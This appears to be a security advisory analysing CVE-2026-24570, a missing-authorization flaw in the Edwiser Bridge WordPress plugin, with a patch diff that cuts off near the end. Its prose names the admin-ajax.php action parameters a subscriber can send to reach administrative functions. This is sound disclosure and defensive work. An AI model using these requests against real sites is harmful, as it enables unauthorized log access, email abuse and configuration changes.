Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24570: Edwiser Bridge <= 4.3.2 – Missing Authorization (edwiser-bridge)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.3.2
Patched Version 4.3.3
Disclosed January 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24570:
The Edwiser Bridge WordPress plugin, versions up to and including 4.3.2, contains a missing authorization vulnerability. The flaw allows authenticated attackers with subscriber-level access or higher to perform administrative actions. This vulnerability stems from a lack of capability checks on multiple AJAX handler functions.

Atomic Edge research identified the root cause in three primary files. The class-eb-email-template.php file lacked capability checks in the get_template_data_ajax_call_back, send_test_email, and reset_email_template_content functions. The class-eb-settings-ajax-initiater.php file contained 18 AJAX handler functions without authorization checks, including course_synchronization_initiater, user_data_synchronization_initiater, and eb_get_log_data. These functions performed administrative operations like data synchronization, system diagnostics, and log management. The vulnerable code paths were accessible via the standard WordPress admin-ajax.php endpoint.

Exploitation requires an attacker to send authenticated POST requests to /wp-admin/admin-ajax.php with specific action parameters. For email template manipulation, attackers use action=wdm_eb_get_template_data, action=wdm_eb_send_test_email, or action=wdm_eb_reset_email_template. For system operations, attackers use action=eb_course_synchronization_initiater, action=eb_user_data_synchronization_initiater, or action=eb_get_log_data. The attacker must include valid WordPress authentication cookies and nonce values, which subscriber-level users can obtain through normal plugin interaction.

The patch adds capability checks using current_user_can(‘manage_options’) across all vulnerable functions. In class-eb-email-template.php, lines 291-293, 538-540, and 701-708 add checks that return JSON errors for unauthorized users. In class-eb-settings-ajax-initiater.php, the patch introduces a verify_admin_capability method at line 53 and calls this method at the beginning of each AJAX handler. The patch also replaces direct file operations with WordPress filesystem API calls and fixes text domain inconsistencies from ‘ebbp-textdomain’ to ‘edwiser-bridge’.

Successful exploitation enables attackers to perform administrative functions without proper authorization. Attackers can trigger course synchronization between WordPress and Moodle, initiate user data synchronization, manipulate email templates, send test emails, access system error logs, modify .htaccess files, and perform connection testing. While this does not grant direct privilege escalation to administrator roles, it allows subscribers to execute administrative operations that could disrupt system functionality, expose sensitive configuration data, or modify system behavior.

Differential between vulnerable and patched code

Code Diff
--- a/edwiser-bridge/admin/class-eb-admin.php
+++ b/edwiser-bridge/admin/class-eb-admin.php
@@ -215,13 +215,15 @@
 				'server_blocking_check'           => esc_html__( 'Is the moodle site webservice accessible?', 'edwiser-bridge' ),
 				'contact_support'				  => esc_html__( 'Invalid response from server. Please contact plugin support', 'edwiser-bridge' ),
 				'contact_hosting'				  => esc_html__( 'The plugin is receiving an invalid response code from Moodle website or is unable to connect. Please contact your hosting provider.', 'edwiser-bridge' ),
-				'turn_off_debug_log'			  => sprintf( esc_html__( 'Please turn off debug display(WP_DEBUG & WP_DEBUG_DISPLAY) in wp-config.php and disable debug mode on Moodle website as well to fix this issue. Click %s here %s to learn more.', 'edwiser-bridge' ), '<a href="https://edwiser.helpscoutdocs.com/article/575-disabling-debugging-in-wordpress-and-moodle" target="_blank">', '</a>' ),
+				/* translators: %1$s: opening link tag, %2$s: closing link tag */
+			'turn_off_debug_log'			  => sprintf( esc_html__( 'Please turn off debug display(WP_DEBUG & WP_DEBUG_DISPLAY) in wp-config.php and disable debug mode on Moodle website as well to fix this issue. Click %1$s here %2$s to learn more.', 'edwiser-bridge' ), '<a href="https://edwiser.helpscoutdocs.com/article/575-disabling-debugging-in-wordpress-and-moodle" target="_blank">', '</a>' ),
 				'token_mismatch'				  => esc_html__( 'Token added does not match the token configured on the moodle site.', 'edwiser-bridge' ),
 				'not_authorized' 				  => esc_html__( 'The user(s) associated with the token creation in Moodle are either not included in the web service's authorized users list or lack the required site administrator or manager roles. Consequently, their access is limited, which may result in issues with data synchronization.', 'edwiser-bridge' ),
 				'please_refresh'			  	  => esc_html__( 'Please refresh the page and check again. If the issue is still not resolved please contact support.', 'edwiser-bridge' ),
 				'wp_version_issue'  			  => esc_html__( 'Your WordPress version is not supported. Please upgrade to the latest version.', 'edwiser-bridge' ),
 				'rest_disable_issue'			  => esc_html__( 'The REST API is disabled by either a Security plugin or some other plugin using hooks. It might also have been disabled in your server configuration. Please disable any security plugins and search for conflicts. If the issue doesnt get resolved contact the hosting provider to confirm that server configuration is not causing any issues.', 'edwiser-bridge' ),
-				'permalink_setting_issue'		  => sprintf( esc_html__( 'Please change your permalink settings manually to Post Name by navigating in Settings > %s Permalink Settings %s and check again.', 'edwiser-bridge' ), '<a href="/wp-admin/options-permalink.php" target="_blank">', '</a>' ),
+				/* translators: %1$s: opening link tag, %2$s: closing link tag */
+			'permalink_setting_issue'		  => sprintf( esc_html__( 'Please change your permalink settings manually to Post Name by navigating in Settings > %1$s Permalink Settings %2$s and check again.', 'edwiser-bridge' ), '<a href="/wp-admin/options-permalink.php" target="_blank">', '</a>' ),
 				'htaccess_file_missing'			  => esc_html__( 'The .htaccess file is missing. Please click Fix now link shown to create the file.', 'edwiser-bridge' ),
 				'htaccess_rule_missing'		      => esc_html__( 'The .htaccess file is missing the required rewrite rule. Please click Fix now link shown to add the rule.', 'edwiser-bridge' ),
 				'htaccess_rule_instructions'	  => esc_html__( 'Please add the following rule to the .htaccess file located in the root of your website or create the file to add the rules. "# BEGIN WordPress
@@ -275,10 +277,10 @@
 		foreach ( $log_files as $log_file ) {
 			$log_file_path = trailingslashit( $log_folder ) . $log_file . '-' . sanitize_file_name( wp_hash( $log_file ) ) . '.log';
 			if ( file_exists( $log_file_path ) ) {
-				unlink( $log_file_path );
+				wp_delete_file( $log_file_path );
 			}
 		}
-
+
 		// check if files older than one month are present.
 		$log_files = glob( $log_folder . '*.log' );
 		if ( $log_files ) {
@@ -288,7 +290,7 @@
 				$y = (int)explode( '-', $file_name )[2];
 				if ( $m <= date_i18n( 'm' ) - 2 || $y < date_i18n( 'y' ) ) {
 					error_log( 'deleting file ' . $log_file );
-					unlink( $log_file );
+					wp_delete_file( $log_file );
 				}
 			}
 		}
--- a/edwiser-bridge/admin/class-eb-email-template.php
+++ b/edwiser-bridge/admin/class-eb-email-template.php
@@ -172,7 +172,7 @@
 							<input type="email" name="eb_test_email_add" id="eb_test_email_add_txt" value="" title="<?php esc_html_e( 'Type an email address here and then click Send Test to generate a test email using current selected template', 'edwiser-bridge' ); ?>." placeholder="<?php esc_html_e( 'Enter email address', 'edwiser-bridge' ); ?>"/>
 							<input type="button" class="button-primary" value="<?php esc_html_e( 'Send Test', 'edwiser-bridge' ); ?>" name="eb_send_test_email" id="eb_send_test_email" title="<?php esc_html_e( 'Send sample email with current selected template', 'edwiser-bridge' ); ?>"/>
 							<span class="load-response">
-								<img alt="<?php esc_html__( 'Sorry, unable to load the image', 'edwiser-bridge' ); ?>" src="<?php echo esc_url( $eb_plugin_url . '/images/loader.gif' ); ?>" height="20" width="20">
+								<img alt="<?php esc_attr_e( 'Sorry, unable to load the image', 'edwiser-bridge' ); ?>" src="<?php echo esc_url( $eb_plugin_url . '/images/loader.gif' ); ?>" height="20" width="20">
 							</span>
 							<div class="response-box">
 							</div>
@@ -288,6 +288,11 @@
 	public function get_template_data_ajax_call_back() {
 		$data = array();

+		// SECURITY FIX: Check user capability before processing.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) ) );
+		}
+
 		// Process only if nonce is verified.
 		if ( isset( $_POST['tmpl_name'] ) && isset( $_POST['admin_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['admin_nonce'] ) ), 'eb_admin_nonce' ) ) {
 			$tmpl_name    = sanitize_text_field( wp_unslash( $_POST['tmpl_name'] ) );
@@ -530,6 +535,11 @@
 	 * Provides the functioanlity to send the test email
 	 */
 	public function send_test_email() {
+		// SECURITY FIX: Check user capability before processing.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) );
+		}
+
 		// Send test mail only if nonce is verified.
 		if ( isset( $_POST['security'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'eb_send_testmail_sec' ) ) {
 			$mail_to = $this->check_is_empty( $_POST, 'mail_to' );
@@ -688,6 +698,14 @@
 	 * Provides the functionality to restore the email temaplte content and subject
 	 */
 	public function reset_email_template_content() {
+		// SECURITY FIX: Check user capability before processing.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array(
+				'data'   => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ),
+				'status' => 'failed',
+			) );
+		}
+
 		$responce = array(
 			'data'   => __( 'Failed to reset email template', 'edwiser-bridge' ),
 			'status' => 'failed',
--- a/edwiser-bridge/admin/class-eb-settings-ajax-initiater.php
+++ b/edwiser-bridge/admin/class-eb-settings-ajax-initiater.php
@@ -48,11 +48,21 @@
 	}

 	/**
+	 * Verify admin capability for AJAX handlers.
+	 */
+	private function verify_admin_capability() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) ), 403 );
+		}
+	}
+
+	/**
 	 * Initiate course synchronization process.
 	 *
 	 * @since    1.0.0
 	 */
 	public function course_synchronization_initiater() {
+		$this->verify_admin_capability();

 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
@@ -75,6 +85,7 @@
 	 * @since    1.0.0
 	 */
 	public function user_data_synchronization_initiater() {
+		$this->verify_admin_capability();

 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
@@ -98,6 +109,7 @@
 	 * @since    1.4.1
 	 */
 	public function users_link_to_moodle_synchronization() {
+		$this->verify_admin_capability();

 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
@@ -124,6 +136,7 @@
 	 * @since    1.0.0
 	 */
 	public function connection_test_initiater() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -141,6 +154,7 @@
 	}

 	public function check_moodle_webservice_accessible() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -158,11 +172,12 @@
 				'token_mismatch' => false
 			);
 		}
-		echo wp_send_json_success( array( 'correct' => $response, 'validate_access' => $validate_access['response_data'] ) );
+		wp_send_json_success( array( 'correct' => $response, 'validate_access' => $validate_access['response_data'] ) );
 		die();
 	}

 	public function check_valid_json_response() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			wp_send_json_error();
@@ -197,12 +212,15 @@
 	}

 	public function fix_valid_json_response() {
+		$this->verify_admin_capability();
+		check_ajax_referer( 'check_sync_action', '_wpnonce_field' );
 		error_reporting(0);
 		@ini_set('display_errors', 0);
 		return wp_send_json_success( array( 'data' => array( 'x','y','z' ) ) );
 	}

 	public function check_valid_token() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			wp_send_json_error();
@@ -214,6 +232,7 @@
 	}

 	public function fix_valid_token() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			wp_send_json_error();
@@ -227,6 +246,7 @@
 	}

 	public function check_permalink_setting_valid() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -251,6 +271,7 @@
 	}

 	public function fix_permalink_setting_valid() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -271,14 +292,21 @@
 			$server = strtolower($_SERVER['SERVER_SOFTWARE']);
 			if (strpos($server, 'apache') !== false) {
 				$htaccess_file = ABSPATH . '.htaccess';
+
+				global $wp_filesystem;
+				if ( empty( $wp_filesystem ) ) {
+					require_once ABSPATH . 'wp-admin/includes/file.php';
+					WP_Filesystem();
+				}
+
 				if ( ! file_exists( $htaccess_file ) || strpos( file_get_contents( $htaccess_file), 'BEGIN WordPress' ) === false ) {
-					if ( ! file_exists( $htaccess_file ) && ! is_writable( ABSPATH ) ) {
+					if ( ! file_exists( $htaccess_file ) && ! $wp_filesystem->is_writable( ABSPATH ) ) {
 						return wp_send_json_success(array('htaccess_file_missing' => true, 'autofix_possible' => false));
-					} elseif( ! file_exists( $htaccess_file ) && is_writable( ABSPATH ) ) {
+					} elseif( ! file_exists( $htaccess_file ) && $wp_filesystem->is_writable( ABSPATH ) ) {
 						return wp_send_json_success(array('htaccess_file_missing' => true, 'autofix_possible' => true));
-					} elseif ( ! is_writable( $htaccess_file ) ) {
+					} elseif ( ! $wp_filesystem->is_writable( $htaccess_file ) ) {
 						return wp_send_json_success(array('htaccess_rule_missing' => true, 'autofix_possible' => false));
-					} elseif ( is_writable( $htaccess_file ) ) {
+					} elseif ( $wp_filesystem->is_writable( $htaccess_file ) ) {
 						return wp_send_json_success(array('htaccess_rule_missing' => true, 'autofix_possible' => true));
 					}
 				}
@@ -290,6 +318,7 @@
 	}

 	public function fix_permalink_setting_valid_save_changes() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -304,31 +333,36 @@
 	}

 	public function create_htaccess_file() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
 		}

 		$htaccess_file = ABSPATH . '.htaccess';
-		$htaccess_rules = <<<HTACCESS
-# BEGIN WordPress
-<IfModule mod_rewrite.c>
-RewriteEngine On
-RewriteBase /
-RewriteRule ^index.php$ - [L]
-RewriteCond %{REQUEST_FILENAME} !-f
-RewriteCond %{REQUEST_FILENAME} !-d
-RewriteRule . /index.php [L]
-</IfModule>
-# END WordPress
-HTACCESS;
-
-		if ( ! file_exists( $htaccess_file ) || strpos( file_get_contents( $htaccess_file), 'BEGIN WordPress' ) === false ) {
-			file_put_contents($htaccess_file, $htaccess_rules);
+		$htaccess_rules = '# BEGIN WordPress' . "n"
+			. '<IfModule mod_rewrite.c>' . "n"
+			. 'RewriteEngine On' . "n"
+			. 'RewriteBase /' . "n"
+			. 'RewriteRule ^index.php$ - [L]' . "n"
+			. 'RewriteCond %{REQUEST_FILENAME} !-f' . "n"
+			. 'RewriteCond %{REQUEST_FILENAME} !-d' . "n"
+			. 'RewriteRule . /index.php [L]' . "n"
+			. '</IfModule>' . "n"
+			. '# END WordPress';
+
+		global $wp_filesystem;
+		if ( empty( $wp_filesystem ) ) {
+			require_once ABSPATH . 'wp-admin/includes/file.php';
+			WP_Filesystem();
+		}
+		if ( ! $wp_filesystem->exists( $htaccess_file ) || strpos( $wp_filesystem->get_contents( $htaccess_file ), 'BEGIN WordPress' ) === false ) {
+			$wp_filesystem->put_contents( $htaccess_file, $htaccess_rules, FS_CHMOD_FILE );
 		}
 	}

 	public function check_get_endpoint_registered() {
+		$this->verify_admin_capability();

 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
@@ -353,6 +387,7 @@
 	}

 	public function check_post_endpoint_registered() {
+		$this->verify_admin_capability();

 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
@@ -396,6 +431,7 @@
 	 * @since    1.0.0
 	 */
 	public function check_mandatory_settings() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -470,6 +506,7 @@
 	 * Checks if the course is published and its tye is closed.
 	 */
 	public function check_course_options() {
+		$this->verify_admin_capability();
 		$pro_module_option = get_option( 'eb_pro_modules_data' );
 		$flag              = false;
 		$msg               = '';
@@ -535,6 +572,7 @@
 	 * @since    1.0.0
 	 */
 	public function check_manual_enrollment() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -587,6 +625,7 @@
 	 * @since    1.0.0
 	 */
 	public function enable_manual_enrollment() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -641,6 +680,7 @@
 	 * @since    1.0.0
 	 */
 	public function enable_mandatory_settings() {
+		$this->verify_admin_capability();
 		// verifying generated nonce we created earlier.
 		if ( ! isset( $_POST['_wpnonce_field'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'check_sync_action' ) ) {
 			die( 'Busted!' );
@@ -682,6 +722,7 @@
 	 * Ajax callback to get error log data for given id
 	 */
 	public function eb_get_log_data() {
+		$this->verify_admin_capability();
 		$response = esc_html__( 'Error log not found', 'edwiser-bridge' );
 		if ( isset( $_POST['key'] ) && isset( $_POST['action'] ) && 'wdm_eb_get_log_data' === $_POST['action'] && isset( $_POST['admin_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['admin_nonce'] ) ), 'eb_admin_nonce' ) ) {

@@ -709,6 +750,7 @@
 	 * Ajax callback to mark error log resolved
 	 */
 	public function eb_log_resolved() {
+		$this->verify_admin_capability();
 		$response = esc_html__( 'Error log not found', 'edwiser-bridge' );
 		if ( isset( $_POST['key'] ) && isset( $_POST['action'] ) && 'wdm_eb_mark_log_resolved' === $_POST['action'] && isset( $_POST['admin_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['admin_nonce'] ) ), 'eb_admin_nonce' ) ) {

@@ -753,6 +795,7 @@
 	 * Ajax callback to delete error log
 	 */
 	public function eb_send_log_to_support() {
+		$this->verify_admin_capability();
 		$response = esc_html__( 'Failed', 'edwiser-bridge' );
 		if ( isset( $_POST['key'] ) && isset( $_POST['action'] ) && 'send_log_to_support' === $_POST['action'] && isset( $_POST['admin_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['admin_nonce'] ) ), 'eb_admin_nonce' ) ) {

--- a/edwiser-bridge/admin/licensing/class-eb-licensing-manager.php
+++ b/edwiser-bridge/admin/licensing/class-eb-licensing-manager.php
@@ -446,56 +446,56 @@
 					add_settings_error(
 						'eb_' . $this->plugin_slug . '_errors',
 						esc_attr( 'settings_updated' ),
-						sprintf( __( 'Please enter license key for %s.', 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+						sprintf( __( 'Please enter license key for %s.', 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 						'error'
 					);
 				} elseif ( 'server_did_not_respond' === $status ) {
 					add_settings_error(
 						'eb_' . $this->plugin_slug . '_errors',
 						esc_attr( 'settings_updated' ),
-						sprintf( __( 'No response from server. Please try again later.', 'ebbp-textdomain' ), $this->plugin_name ),
+						sprintf( __( 'No response from server. Please try again later.', 'edwiser-bridge' ), $this->plugin_name ),
 						'error'
 					);
 				} elseif ( 'item_name_mismatch' === $status ) {
 					add_settings_error(
 						'eb_' . $this->plugin_slug . '_errors',
 						esc_attr( 'settings_updated' ),
-						sprintf( __( 'License key is not valid. Please check your license key and try again', 'ebbp-textdomain' ), $this->plugin_name ),
+						sprintf( __( 'License key is not valid. Please check your license key and try again', 'edwiser-bridge' ), $this->plugin_name ),
 						'error'
 					);
 				} elseif ( false !== $status && 'valid' === $status ) { // Valid license key.
 					add_settings_error(
 						'eb_' . $this->plugin_slug . '_errors',
 						esc_attr( 'settings_updated' ),
-						sprintf( __( 'License key for %s is activated.', 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+						sprintf( __( 'License key for %s is activated.', 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 						'updated'
 					);
 				} elseif ( false !== $status && 'expired' === $status && ( ! empty( $display ) || '' !== $display ) ) { // Expired license key.
 					add_settings_error(
 						'eb_' . $this->plugin_slug . '_errors',
 						esc_attr( 'settings_updated' ),
-						sprintf( __( 'License key for %s have been Expired. Please, Renew it. <br/>Your License Key is already activated at : ' . $display, 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+						sprintf( __( 'License key for %s have been Expired. Please, Renew it. <br/>Your License Key is already activated at : ' . $display, 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 						'error'
 					);
 				} elseif ( false !== $status && 'expired' === $status ) { // Expired license key.
 					add_settings_error(
 						'eb_' . $this->plugin_slug . '_errors',
 						esc_attr( 'settings_updated' ),
-						sprintf( __( 'License key for %s have been Expired. Please, Renew it.', 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+						sprintf( __( 'License key for %s have been Expired. Please, Renew it.', 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 						'error'
 					);
 				} elseif ( false !== $status && 'disabled' === $status ) { // Disabled license key.
 					add_settings_error(
 						'eb_' . $this->plugin_slug . '_errors',
 						esc_attr( 'settings_updated' ),
-						sprintf( __( 'License key for %s is Disabled.', 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+						sprintf( __( 'License key for %s is Disabled.', 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 						'error'
 					);
 				} elseif ( 'no_activations_left' === $status ) { // Invalid license key   and site.
 					add_settings_error(
 						'eb_' . $this->plugin_slug . '_errors',
 						esc_attr( 'settings_updated' ),
-						sprintf( __( 'License Key for %1$s is already activated at : %2$s', 'ebbp-textdomain' ), $this->plugin_name, $display ), // @codingStandardsIgnoreLine
+						sprintf( __( 'License Key for %1$s is already activated at : %2$s', 'edwiser-bridge' ), $this->plugin_name, $display ), // @codingStandardsIgnoreLine
 						'error'
 					);
 				} else {
@@ -521,35 +521,35 @@
 				add_settings_error(
 					'eb_' . $this->plugin_slug . '_errors',
 					esc_attr( 'settings_updated' ),
-					sprintf( __( 'License Key for %s is already activated at : ' . $display, 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+					sprintf( __( 'License Key for %s is already activated at : ' . $display, 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 					'error'
 				);
 			} elseif ( 'invalid' === $status ) { // Invalid license key.
 				add_settings_error(
 					'eb_' . $this->plugin_slug . '_errors',
 					esc_attr( 'settings_updated' ),
-					sprintf( __( 'Please enter valid license key for %s.', 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+					sprintf( __( 'Please enter valid license key for %s.', 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 					'error'
 				);
 			} elseif ( 'site_inactive' === $status && ( ! empty( $display ) || '' !== $display ) ) { // Invalid license key   and site inactive.
 				add_settings_error(
 					'eb_' . $this->plugin_slug . '_errors',
 					esc_attr( 'settings_updated' ),
-					sprintf( __( 'License Key for %s is already activated at : ' . $display, 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+					sprintf( __( 'License Key for %s is already activated at : ' . $display, 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 					'error'
 				);
 			} elseif ( 'site_inactive' === $status ) { // Site is inactive.
 				add_settings_error(
 					'eb_' . $this->plugin_slug . '_errors',
 					esc_attr( 'settings_updated' ),
-					__( 'Site inactive(Press Activate license to activate plugin)', 'ebbp-textdomain' ),
+					__( 'Site inactive(Press Activate license to activate plugin)', 'edwiser-bridge' ),
 					'error'
 				);
 			} elseif ( 'deactivated' === $status ) { // Site is inactive.
 				add_settings_error(
 					'eb_' . $this->plugin_slug . '_errors',
 					esc_attr( 'settings_updated' ),
-					sprintf( __( 'License Key for %s is deactivated', 'ebbp-textdomain' ), $this->plugin_name ), // @codingStandardsIgnoreLine
+					sprintf( __( 'License Key for %s is deactivated', 'edwiser-bridge' ), $this->plugin_name ), // @codingStandardsIgnoreLine
 					'updated'
 				);
 			}
--- a/edwiser-bridge/admin/partials/html-elementor-templates.php
+++ b/edwiser-bridge/admin/partials/html-elementor-templates.php
@@ -12,14 +12,14 @@
 }
 $templates = array(
     'product_archive' => array(
-        'title' => __('Shop Page Template', 'edwiser-bridge-pro'),
-        'desc'  => __('Customize the design of your entire shop page. This option allows you to apply consistent branding and layout across all your product listings, enhancing the overall shopping experience for your learners.', 'edwiser-bridge-pro'),
+        'title' => __('Shop Page Template', 'edwiser-bridge'),
+        'desc'  => __('Customize the design of your entire shop page. This option allows you to apply consistent branding and layout across all your product listings, enhancing the overall shopping experience for your learners.', 'edwiser-bridge'),
         'img'   => 'product-archive.png',
         'template_id' => get_option('eb_pro_elementor_shop_page_template_id'),
     ),
     'product_single' => array(
-        'title' => __('Product Page Template', 'edwiser-bridge-pro'),
-        'desc'  => __('Tailor the design of the product page to showcase each product uniquely. This option enables you to highlight specific product features, benefits, and details, optimizing the presentation for better conversions and user engagement.', 'edwiser-bridge-pro'),
+        'title' => __('Product Page Template', 'edwiser-bridge'),
+        'desc'  => __('Tailor the design of the product page to showcase each product uniquely. This option enables you to highlight specific product features, benefits, and details, optimizing the presentation for better conversions and user engagement.', 'edwiser-bridge'),
         'img'   => 'product-single.png',
         'template_id' => get_option('eb_pro_elementor_single_product_page_template_id'),
     ),
@@ -33,7 +33,7 @@
 <div class="eb__templates-wrapper">
     <div class="eb__templates">
         <div class="eb_table_row">
-            <h2><?php esc_html_e('Elementor Pro Templates', 'edwiser-bridge-pro'); ?></h2>
+            <h2><?php esc_html_e('Elementor Pro Templates', 'edwiser-bridge'); ?></h2>
             <?php
             if (! $elementor_pro) {
             ?>
@@ -54,7 +54,7 @@
                         </svg>
                     </div>
                     <div class="notice-body">
-                        <p><?php esc_html_e('Based on you license key, it seems that you have not installed the ‘Elementor PRO’. Please download and install the ‘Elementor PRO’ to use below Edwiser bridge templates.', 'edwiser-bridge-pro'); ?></p>
+                        <p><?php esc_html_e('Based on you license key, it seems that you have not installed the ‘Elementor PRO’. Please download and install the ‘Elementor PRO’ to use below Edwiser bridge templates.', 'edwiser-bridge'); ?></p>
                     </div>
                 </div>
             <?php
@@ -78,7 +78,7 @@
                         </svg>
                     </div>
                     <div class="notice-body">
-                        <p><?php esc_html_e('It seems that you have not enabled WooCommerce Integration Feature from Edwiser Bridge Pro Featuers. Please activate the ‘WooCommerce Integration’ to use below Edwiser bridge templates, from', 'edwiser-bridge-pro'); ?> <a href="<?php echo esc_url(admin_url('admin.php?page=eb-settings&tab=pro_features')); ?>"><?php esc_html_e('here', 'edwiser-bridge-pro'); ?></a></p>
+                        <p><?php esc_html_e('It seems that you have not enabled WooCommerce Integration Feature from Edwiser Bridge Pro Featuers. Please activate the ‘WooCommerce Integration’ to use below Edwiser bridge templates, from', 'edwiser-bridge'); ?> <a href="<?php echo esc_url(admin_url('admin.php?page=eb-settings&tab=pro_features')); ?>"><?php esc_html_e('here', 'edwiser-bridge'); ?></a></p>
                     </div>
                 </div>
             <?php
@@ -86,7 +86,7 @@
             foreach ($templates as $key => $template) {
                 if ($elementor_pro && $woo_int_enabled && $template['template_id']) {
                     $edit_link = add_query_arg(array('post' => $template['template_id'], 'action' => 'elementor'), admin_url('post.php'));
-                    $edit_html = '<a target="_blank" style="font-size:13px;" href="' . esc_url($edit_link) . '">' . esc_html__('Edit', 'edwiser-bridge-pro') . '</a>';
